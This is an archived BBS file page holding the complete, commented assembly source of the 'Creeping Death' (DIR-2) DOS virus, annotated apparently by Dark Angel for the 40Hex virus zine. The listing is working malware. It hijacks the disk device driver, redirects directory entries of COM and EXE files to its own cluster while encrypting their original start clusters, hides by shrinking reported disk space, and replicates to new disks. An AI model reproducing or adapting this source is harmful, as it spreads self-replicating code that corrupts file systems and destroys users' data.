home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / creep.asm < prev    next >
Assembly Source File  |  1992-04-27  |  30KB  |  567 lines

  1.  
  2. -------------------------------------------------------------------------------
  3. ; Dark Angel's comments: I spent my entire waking hours looking at this virus.
  4. ;                        I love it.  It is my life.  I worship the drive it
  5. ;                        infects.  Take a look at it.  Let not my troubles be
  6. ;                        in vain.  Why did I do this?  I sacrifice my life for
  7. ;                        the benefit of 40Hex.  If you don't read this, I'm
  8. ;                        gonna go join [NuKE].
  9.  
  10. ;        Creeping Death  V 1.0
  11. ;
  12. ;        (C) Copyright 1991 by VirusSoft Corp.
  13.  
  14. i13org    =    5f8h
  15. i21org    =    5fch
  16.  
  17. dir_2   segment byte public
  18.         assume  cs:dir_2, ds:dir_2
  19.  
  20.         org   100h
  21.  
  22. start:
  23.          mov   sp,600h                          ; Set up the stack pointer
  24.          inc   word ptr counter                 ; Generation counter
  25.          xor   cx,cx
  26.          mov   ds,cx                            ; DS points to interrupt table
  27.          lds   ax, ds:[0c1h]                    ; Find interrupt 30h
  28.          add   ax,21h                           ; Change it to Int 21h
  29.          push  ds                               ; Save it on stack for use by
  30.          push  ax                               ; subroutine "jump"
  31.          mov   ah,30h                           ; Get DOS version
  32.          call  jump
  33.          cmp   al,4                             ; DOS 4.X+ : SI = 0
  34.          sbb   si,si                            ; DOS 2/3  : SI = -1
  35.          mov   byte ptr [drive+2],byte ptr -1   ; Initialise last drive to
  36.                                                 ; "never accessed"
  37.          mov   bx,60h                           ; Adjust memory in ES to
  38.          mov   ah,4ah                           ; BX paragraphs.
  39.          call  jump
  40.  
  41.          mov   ah,52h                           ; Get DOS List of Lists
  42.          call  jump                             ; to ES:BX
  43.          push  es:[bx-2]                        ; Save Segment of first MCB
  44.          lds   bx,es:[bx]                       ; DS:BX -> 1st DPB
  45.                                                 ;  (Drive parameter block)
  46. search:  mov   ax,[bx+si+15h]                   ; Get segment of device driver
  47.          cmp   ax,70h                           ; Is it CONFIG? (I think)
  48.          jne   next                             ; If not, try again
  49.          xchg  ax,cx                            ; Move driver segment to CX
  50.          mov   [bx+si+18h],byte ptr -1          ; Flag block must be rebuilt
  51.          mov   di,[bx+si+13h]                   ; Save offset of device driver
  52.                                                 ; Original device driver
  53.                                                 ; address in CX:DI
  54.          mov   [bx+si+13h],offset header        ; Replace with our own
  55.          mov   [bx+si+15h],cs                   ;  (header)
  56. next:    lds   bx,[bx+si+19h]                   ; Get next device block
  57.          cmp   bx,-1                            ; Is it the last one?
  58.          jne   search                           ; If not, search it
  59.          jcxz  install
  60.  
  61.          pop   ds                               ; Restore segment of first
  62.          mov   ax,ds                            ; MCB
  63.          add   ax,ds:[3]                        ; Go to next MCB
  64.          inc   ax                               ; AX = segment next MCB
  65.          mov   dx,cs                            ; DX = MCB owning current
  66.          dec   dx                               ;      program
  67.          cmp   ax,dx                            ; Are these the same?
  68.          jne   no_boot                          ; If not, we are not currently
  69.                                                 ; in the middle of a reboot
  70.          add   word ptr ds:[3],61h              ; Increase length owned by
  71.                                                 ; MCB by 1552 bytes
  72. no_boot: mov   ds,dx                            ; DS = MCB owning current
  73.                                                 ; program
  74.          mov   word ptr ds:[1],8                ; Set owner = DOS
  75.  
  76.          mov   ds,cx                            ; DS = segment of original
  77.                                                 ;      device driver
  78.          les   ax,[di+6]                        ; ES = offset int handler
  79.                                                 ; AX = offset strategy entry
  80.          mov   word ptr cs:str_block,ax         ; Save entry point
  81.          mov   word ptr cs:int_block,es         ; And int block for use in
  82.                                                 ; function _in
  83.          cld                                    ; Scan for the write
  84.          mov   si,1                             ; function in the
  85. scan:    dec   si                               ; original device driver
  86.          lodsw
  87.          cmp   ax,1effh
  88.          jne   scan
  89.          mov   ax,2cah                          ; Wicked un-yar place o'
  90.          cmp   [si+4],ax                        ; doom.
  91.          je    right
  92.          cmp   [si+5],ax
  93.          jne   scan
  94. right:   lodsw
  95.          push  cs
  96.          pop   es
  97.          mov   di,offset modify+1               ; Save address of patch
  98.          stosw                                  ; area so it can be changed
  99.          xchg  ax,si                            ; later.
  100.          mov   di,offset i13org                 ; This is in the stack, but
  101.          cli                                    ; it is used by "i13pr"
  102.          movsw
  103.          movsw
  104.  
  105.          mov   dx,0c000h                        ; Scan for hard disk ROM
  106.                                                 ; Start search @ segment C000h
  107. fdsk1:   mov   ds,dx                            ; Load up the segment
  108.          xor   si,si                            ; atart at offset 0000h
  109.          lodsw                                  ; Scan for the signature
  110.          cmp   ax,0aa55h                        ; Is it the signature?
  111.          jne   fdsk4                            ; If not, change segment
  112.          cbw                                    ; clear AH
  113.          lodsb                                  ; load a byte to AL
  114.          mov   cl,9
  115.          sal   ax,cl                            ; Shift left, 0 filled
  116. fdsk2:   cmp   [si],6c7h
  117.          jne   fdsk3
  118.          cmp   word ptr [si+2],4ch
  119.          jne   fdsk3
  120.          push  dx                               ; Save the segment
  121.          push  [si+4]                           ; and offset on stack
  122.          jmp   short death                      ; for use by i13pr
  123.  
  124. install: int   20h
  125. file:    db    "c:",255,0
  126. fdsk3:   inc   si                               ; Increment search offset
  127.          cmp   si,ax                            ; If we are not too high,
  128.          jb    fdsk2                            ; try again
  129. fdsk4:   inc   dx                               ; Increment search segment
  130.          cmp   dh,0f0h                          ; If we are not in high
  131.          jb    fdsk1                            ; memory, try again
  132.  
  133.          sub   sp,4                             ; effectively push dummy vars.
  134. death:   push  cs                               ; on stack for use by i13pr
  135.          pop   ds
  136.          mov   bx,ds:[2ch]                      ; Get environment from PSP
  137.          mov   es,bx
  138.          mov   ah,49h                           ; Release it (to save memory)
  139.          call  jump
  140.          xor   ax,ax
  141.          test  bx,bx                            ; Is BX = 0?
  142.          jz    boot                             ; If so, we are booting now
  143.          mov   di,1                             ; and not running a file
  144. seek:    dec   di                               ; Search for end of
  145.          scasw                                  ; the environment block
  146.          jne   seek
  147.          lea   si,[di+2]                        ; SI points to filename
  148.          jmp   short exec                       ; (in DOS 3.X+)
  149.                                                 ; Execute that file
  150. boot:    mov   es,ds:[16h]                      ; get PSP of parent
  151.          mov   bx,es:[16h]                      ; get PSP of parent
  152.          dec   bx                               ; go to its MCB
  153.          xor   si,si
  154. exec:    push  bx
  155.          mov   bx,offset param                  ; Set up parameter block
  156.                                                 ; for EXEC function
  157.          mov   [bx+4],cs                        ; segment to command line
  158.          mov   [bx+8],cs                        ; segment to 1st FCB
  159.          mov   [bx+12],cs                       ; segment to 2nd FCB
  160.          pop   ds
  161.          push  cs
  162.          pop   es
  163.  
  164.          mov   di,offset f_name
  165.          push  di                               ; Save filename offset
  166.          mov   cx,40                            ; Copy the filename to
  167.          rep   movsw                            ; the buffer
  168.          push  cs
  169.          pop   ds
  170.  
  171.          mov   ah,3dh                           ; Handle open file
  172.          mov   dx,offset file                   ; "c: ",0
  173.          call  jump
  174.          pop   dx                               ; DS:DX -> filename
  175.  
  176.          mov   ax,4b00h                         ; Load and Execute
  177.          call  jump                             ; ES:BX = param block
  178.          mov   ah,4dh                           ; Get errorlevel
  179.          call  jump
  180.          mov   ah,4ch                           ; Terminate
  181.  
  182. jump:    pushf                                  ; Simulate an interrupt 21h
  183.          call  dword ptr cs:[i21org]
  184.          ret
  185.  
  186.  
  187. ;--------Installation complete
  188.  
  189. i13pr:   mov   ah,3                             ; Write AL sectors from ES:BX
  190.          jmp   dword ptr cs:[i13org]            ; to track CH, sector CL,
  191.                                                 ; head DH, drive DL
  192.  
  193.  
  194. main:    push  ax            ; driver
  195.          push  cx            ; strategy block
  196.          push  dx
  197.          push  ds
  198.          push  si
  199.          push  di
  200.  
  201.          push  es                               ; Move segment of parameter
  202.          pop   ds                               ; block to DS
  203.          mov   al,[bx+2]                        ; [bx+2] holds command code
  204.  
  205.          cmp   al,4                             ; Input (read)
  206.          je    input
  207.          cmp   al,8                             ; Output (write)
  208.          je    output
  209.          cmp   al,9                             ; Output (write) with verify
  210.          je    output
  211.  
  212.          call  in_                              ; Call original device
  213.          cmp   al,2                             ; Request build BPB
  214.          jne   ppp                              ; If none of the above, exit
  215.          lds   si,[bx+12h]                      ; DS:SI point to BPB table
  216.          mov   di,offset bpb_buf                ; Replace old pointer with
  217.          mov   es:[bx+12h],di                   ; a pointer to our own
  218.          mov   es:[bx+14h],cs                   ; BPB table
  219.          push  es                               ; Save segment of parameters
  220.          push  cs
  221.          pop   es
  222.          mov   cx,16                            ; Copy the old BPB table to
  223.          rep   movsw                            ; our own
  224.          pop   es                               ; Restore parameter segment
  225.          push  cs
  226.          pop   ds
  227.          mov   al,[di+2-32]                     ; AL = sectors per allocation
  228.          cmp   al,2                             ;      unit.  If less than
  229.          adc   al,0                             ;      2, increment
  230.          cbw                                    ; Extend sign to AH (clear AH)
  231.          cmp   word ptr [di+8-32],0             ; Is total number sectors = 0?
  232.          je    m32                              ; If so, big partition (>32MB)
  233.          sub   [di+8-32],ax                     ; Decrease space of disk by
  234.                                                 ; one allocation unit(cluster)
  235.          jmp   short ppp                        ; Exit
  236. m32:     sub   [di+15h-32],ax                   ; Handle large partitions
  237.          sbb   word ptr [di+17h-32],0
  238.  
  239. ppp:     pop   di
  240.          pop   si
  241.          pop   ds
  242.          pop   dx
  243.          pop   cx
  244.          pop   ax
  245. rts:     retf                                   ; We are outta here!
  246.  
  247. output:  mov   cx,0ff09h
  248.          call  check                            ; is it a new disk?
  249.          jz    inf_sec                          ; If not, go away
  250.          call  in_                              ; Call original device handler
  251.          jmp   short inf_dsk
  252.  
  253. inf_sec: jmp   _inf_sec
  254. read:    jmp   _read
  255. read_:   add   sp,16                            ; Restore the stack
  256.          jmp   short ppp                        ; Leave device driver
  257.  
  258. input:   call  check                            ; Is it a new disk?
  259.          jz    read                             ; If not, leave
  260. inf_dsk: mov   byte ptr [bx+2],4                ; Set command code to READ
  261.          cld
  262.          lea   si,[bx+0eh]                      ; Load from buffer address
  263.          mov   cx,8                             ; Save device driver request
  264. save:    lodsw                                  ; on the stack
  265.          push  ax
  266.          loop  save
  267.          mov   word ptr [bx+14h],1              ; Starting sector number = 1
  268.                                                 ; (Read 1st FAT)
  269.          call  driver                           ; Read one sector
  270.          jnz   read_                            ; If error, exit
  271.          mov   byte ptr [bx+2],2                ; Otherwise build BPB
  272.          call  in_                              ; Have original driver do the
  273.                                                 ; work
  274.          lds   si,[bx+12h]                      ; DS:SI points to BPB table
  275.          mov   ax,[si+6]                        ; Number root directory entries
  276.          add   ax,15                            ; Round up
  277.          mov   cl,4
  278.          shr   ax,cl                            ; Divide by 16 to find sectors
  279.                                                 ; of root directory
  280.          mov   di,[si+0bh]                      ; DI = sectors/FAT
  281.          add   di,di                            ; Double for 2 FATs
  282.          stc                                    ; Add one for boot record
  283.          adc   di,ax                            ; Add sector size of root dir
  284.          push  di                               ; to find starting sector of
  285.                                                 ; data (and read)
  286.          cwd                                    ; Clear DX
  287.          mov   ax,[si+8]                        ; AX = total sectors
  288.          test  ax,ax                            ; If it is zero, then we have
  289.          jnz   more                             ; an extended partition(>32MB)
  290.          mov   ax,[si+15h]                      ; Load DX:AX with total number
  291.          mov   dx,[si+17h]                      ; of sectors
  292. more:    xor   cx,cx
  293.          sub   ax,di                            ; Calculate FAT entry for last
  294.                                                 ; sector of disk
  295.          sbb   dx,cx
  296.          mov   cl,[si+2]                        ; CL = sectors/cluster
  297.          div   cx                               ; AX = cluster #
  298.          cmp   cl,2                             ; If there is more than 1
  299.          sbb   ax,-1                            ; cluster/sector, add one
  300.          push  ax                               ; Save cluster number
  301.          call  convert                          ; AX = sector number to read
  302.                                                 ; DX = offset in sector AX
  303.                                                 ;      of FAT entry
  304.                                                 ; DI = mask for EOF marker
  305.          mov   byte ptr es:[bx+2],4             ; INPUT (read)
  306.          mov   es:[bx+14h],ax                   ; Starting sector = AX
  307.          call  driver                           ; One sector only
  308. again:   lds   si,es:[bx+0eh]                   ; DS:SI = buffer address
  309.          add   si,dx                            ; Go to FAT entry
  310.          sub   dh,cl                            ; Calculate a new encryption
  311.          adc   dx,ax                            ; value
  312.          mov   word ptr cs:gad+1,dx             ; Change the encryption value
  313.          cmp   cl,1                             ; If there is 0 cluster/sector
  314.          je    small_                           ; then jump to "small_"
  315.          mov   ax,[si]                          ; Load AX with offset of FAT
  316.                                                 ; entry
  317.          and   ax,di                            ; Mask it with value from
  318.                                                 ; "convert" then test to see
  319.                                                 ; if the sector is fine
  320.          cmp   ax,0fff7h                        ; 16 bit reserved/bad
  321.          je    bad
  322.          cmp   ax,0ff7h                         ; 12 bit reserved/bad
  323.          je    bad
  324.          cmp   ax,0ff70h                        ; 12 bit reserved/bad
  325.          jne   ok
  326. bad:     pop   ax                               ; Tried to replicate on a bad
  327.          dec   ax                               ; cluster.  Try again on a
  328.          push  ax                               ; lower one.
  329.          call  convert                          ; Find where it is in the FAT
  330.          jmp   short again                      ; and try once more
  331. small_:  not   di                               ; Reverse mask bits
  332.          and   [si],di                          ; Clear other bits
  333.          pop   ax                               ; AX = cluster number
  334.          push  ax
  335.          inc   ax                               ; Need to do 2 consecutive
  336.          push  ax                               ; bytes
  337.          mov   dx,0fh
  338.          test  di,dx
  339.          jz    here
  340.          inc   dx                               ; Multiply by 16
  341.          mul   dx
  342. here:    or    [si],ax                          ; Set cluster to next
  343.          pop   ax                               ; Restore cluster of write
  344.          call  convert                          ; Calculate buffer offset
  345.          mov   si,es:[bx+0eh]                   ; Go to FAT entry (in buffer)
  346.          add   si,dx
  347.          mov   ax,[si]
  348.          and   ax,di
  349. ok:      mov   dx,di                            ; DI = mask from "convert"
  350.          dec   dx
  351.          and   dx,di                            ; Yerg!
  352.          not   di
  353.          and   [si],di
  354.          or    [si],dx                          ; Set [si] to DI
  355.  
  356.          cmp   ax,dx                            ; Did we change the FAT?
  357.          pop   ax                               ; i.e. Are we already on this
  358.          pop   di                               ; disk?
  359.          mov   word ptr cs:pointer+1,ax         ; Our own starting cluster
  360.          je    _read_                           ; If we didn't infect, then
  361.                                                 ; leave the routine.  Oh
  362.                                                 ; welp-o.
  363.          mov   dx,[si]
  364.          push  ds
  365.          push  si
  366.          call  write                            ; Update the FAT
  367.          pop   si
  368.          pop   ds
  369.          jnz   _read_                           ; Quit if there's an error
  370.          call  driver
  371.          cmp   [si],dx
  372.          jne   _read_
  373.          dec   ax
  374.          dec   ax
  375.          mul   cx                               ; Multiply by sectors/cluster
  376.                                                 ; to find the sector of the
  377.                                                 ; write
  378.          add   ax,di
  379.          adc   dx,0
  380.          push  es
  381.          pop   ds
  382.          mov   word ptr [bx+12h],2              ; Byte/sector count
  383.          mov   [bx+14h],ax                      ; Starting sector #
  384.          test  dx,dx
  385.          jz    less
  386.          mov   word ptr [bx+14h],-1             ; Flag extended partition
  387.          mov   [bx+1ah],ax                      ; Handle the sector of the
  388.          mov   [bx+1ch],dx                      ; extended partition
  389. less:    mov   [bx+10h],cs                      ; Transfer address segment
  390.          mov   [bx+0eh],100h                    ; and the offset (duh)
  391.          call  write                            ; Zopy ourselves!
  392.                                                 ; (We want to travel)
  393. _read_:  std
  394.          lea   di,[bx+1ch]                      ; Restore device driver header
  395.          mov   cx,8                             ; from the stack
  396. load:    pop   ax
  397.          stosw
  398.          loop  load
  399. _read:   call  in_                              ; Call original device handler
  400.  
  401.          mov   cx,9
  402. _inf_sec:
  403.          mov   di,es:[bx+12h]                   ; Bytes/Sector
  404.          lds   si,es:[bx+0eh]                   ; DS:SI = pointer to buffer
  405.          sal   di,cl                            ; Multiply by 512
  406.                                                 ; DI = byte count
  407.          xor   cl,cl
  408.          add   di,si                            ; Go to address in the buffer
  409.          xor   dl,dl                            ; Flag for an infection in
  410.                                                 ; function find
  411.          push  ds
  412.          push  si
  413.          call  find                             ; Infect the directory
  414.          jcxz  no_inf
  415.          call  write                            ; Write it back to the disk
  416.          and   es:[bx+4],byte ptr 07fh          ; Clear error bit in status
  417.                                                 ; word
  418. no_inf:  pop   si
  419.          pop   ds
  420.          inc   dx                               ; Flag for a decryption in
  421.                                                 ; function find
  422.          call  find                             ; Return right information to
  423.                                                 ; calling program
  424.          jmp   ppp
  425.  
  426. ;--------Subroutines
  427.  
  428. find:    mov   ax,[si+8]                        ; Check filename extension
  429.          cmp   ax,"XE"                          ; in directory structure
  430.          jne   com
  431.          cmp   [si+10],al
  432.          je    found
  433. com:     cmp   ax,"OC"
  434.          jne   go_on
  435.          cmp   byte ptr [si+10],"M"
  436.          jne   go_on
  437. found:   test  [si+1eh],0ffc0h ; >4MB           ; Check file size high word
  438.          jnz   go_on                            ; to see if it is too big
  439.          test  [si+1dh],03ff8h ; <2048B         ; Check file size low word
  440.          jz    go_on                            ; to see if it is too small
  441.          test  [si+0bh],byte ptr 1ch            ; Check attribute for subdir,
  442.          jnz   go_on                            ; volume label or system file
  443.          test  dl,dl                            ; If none of these, check DX
  444.          jnz   rest                             ; If not 0, decrypt
  445. pointer: mov   ax,1234h                         ; mov ax, XX modified elsewhere
  446.          cmp   ax,[si+1ah]                      ; Check for same starting
  447.                                                 ; cluster number as us
  448.          je    go_on                            ; If it is, then try another
  449.          xchg  ax,[si+1ah]                      ; Otherwise make it point to
  450.                                                 ; us.
  451. gad:     xor   ax,1234h                         ; Encrypt their starting
  452.                                                 ; cluster
  453.          mov   [si+14h],ax                      ; And put it in area reserved
  454.                                                 ; by DOS for no purpose
  455.          loop  go_on                            ; Try another file
  456. rest:    xor   ax,ax                            ; Disinfect the file
  457.          xchg  ax,[si+14h]                      ; Get starting cluster
  458.          xor   ax,word ptr cs:gad+1             ; Decrypt the starting cluster
  459.          mov   [si+1ah],ax                      ; and put it back
  460. go_on:   db    2eh,0d1h,6                       ; rol cs:[gad+1], 1
  461.          dw    offset gad+1                     ; Change encryption and
  462.          add   si,32                            ; go to next file
  463.          cmp   di,si                            ; If it is not past the end of
  464.          jne   find                             ; the buffer, then try again
  465.          ret                                    ; Otherwise quit
  466.  
  467. check:   mov   ah,[bx+1]                        ; ah = unit code (block device
  468.                                                 ;                 only)
  469. drive:   cmp   ah,-1                            ; cmp ah, XX can change.
  470.                                                 ; Compare with the last call
  471.                                                 ; -1 is just a dummy
  472.                                                 ; impossible value that will
  473.                                                 ; force the change to be true
  474.          mov   byte ptr cs:[drive+2],ah         ; Save this call's drive
  475.          jne   changed                          ; If not the same as last call
  476.                                                 ; media has changed
  477.          push  [bx+0eh]                         ; If it is the same physical
  478.                                                 ; drive, see if floppy has
  479.                                                 ; been changed
  480.          mov   byte ptr [bx+2],1                ; Tell original driver to do a
  481.          call  in_                              ; media check (block only)
  482.          cmp   byte ptr [bx+0eh],1              ; Returns 1 in [bx+0eh] if
  483.          pop   [bx+0eh]                         ; media has not been changed
  484.          mov   [bx+2],al                        ; Restore command code
  485. changed: ret                                    ; CF,ZF set if media has not
  486.                                                 ; been changed, not set if
  487.                                                 ; has been changed or we don't
  488.                                                 ; know
  489. write:   cmp   byte ptr es:[bx+2],8             ; If we want OUTPUT, go to
  490.          jae   in_                              ; original device handler
  491.                                                 ; and return to caller
  492.          mov   byte ptr es:[bx+2],4             ; Otherwise, request INPUT
  493.          mov   si,70h
  494.          mov   ds,si                            ; DS = our segment
  495. modify:  mov   si,1234h                         ; Address is changed elsewhere
  496.          push  [si]
  497.          push  [si+2]
  498.          mov   [si],offset i13pr
  499.          mov   [si+2],cs
  500.          call  in_                              ; Call original device handler
  501.          pop   [si+2]
  502.          pop   [si]
  503.          ret
  504.  
  505. driver:  mov   word ptr es:[bx+12h],1           ; One sector
  506. in_:                                            ; in_ first calls the strategy
  507.                                                 ; of the original device
  508.                                                 ; driver and then calls the
  509.                                                 ; interrupt handler
  510.          db    09ah                             ; CALL FAR PTR
  511. str_block:
  512.          dw    ?,70h                            ; address
  513.          db    09ah                             ; CALL FAR PTR
  514. int_block:
  515.          dw    ?,70h                            ; address
  516.          test  es:[bx+4],byte ptr 80h           ; Was there an error?
  517.          ret
  518.  
  519. convert: cmp   ax,0ff0h                         ; 0FFF0h if 12 bit FAT
  520.          jae   fat_16                           ; 0FF0h = reserved cluster
  521.          mov   si,3                             ; 12 bit FAT
  522.          xor   word ptr cs:[si+gad-1],si        ; Change the encryption value
  523.          mul   si                               ; Multiply by 3 and
  524.          shr   ax,1                             ; divide by 2
  525.          mov   di,0fffh                         ; Mark it EOF (low 12 bits)
  526.          jnc   cont                             ; if it is even, continue
  527.          mov   di,0fff0h                        ; otherwise, mark it EOF (high
  528.          jmp   short cont                       ; 12 bits) and then continue
  529. fat_16:  mov   si,2                             ; 16 bit FAT
  530.          mul   si                               ; Double cluster #
  531.          mov   di,0ffffh                        ; Mark it as end of file
  532. cont:    mov   si,512
  533.          div   si                               ; AX = sector number
  534.                                                 ; (relative to start of FAT)
  535.                                                 ; DX = offset in sector AX
  536. header:  inc   ax                               ; Increment AX to account for
  537.          ret                                    ; boot record
  538.  
  539. counter: dw    0
  540.  
  541.          dw    842h                             ; Attribute
  542.                                                 ;  Block device
  543.                                                 ;  DOS 3 OPEN/CLOSE removable
  544.                                                 ;        media calls supported
  545.                                                 ;  Generic IOCTL call supported
  546.                                                 ; Supports 32 bit sectors
  547.          dw    offset main                      ; Strategy routine
  548.          dw    offset rts                       ; Interrupt routine (rtf)
  549.          db    7fh                              ; Number of subunits supported
  550.                                                 ; by this driver.  Wow, lookit
  551.                                                 ; it -- it's so large and juicy
  552.  
  553. ; Parameter block format:
  554. ; 0  WORD Segment of environment
  555. ; 2 DWORD pointer to command line
  556. ; 6 DWORD pointer to 1st default FCB
  557. ;10 DWORD pointer to 2nd default FCB
  558. param:   dw    0,80h,?,5ch,?,6ch,?
  559.  
  560. bpb_buf: db    32 dup(?)
  561. f_name:  db    80 dup(?)
  562.  
  563. ;--------The End.
  564. dir_2   ends
  565.         end     start
  566.  
  567.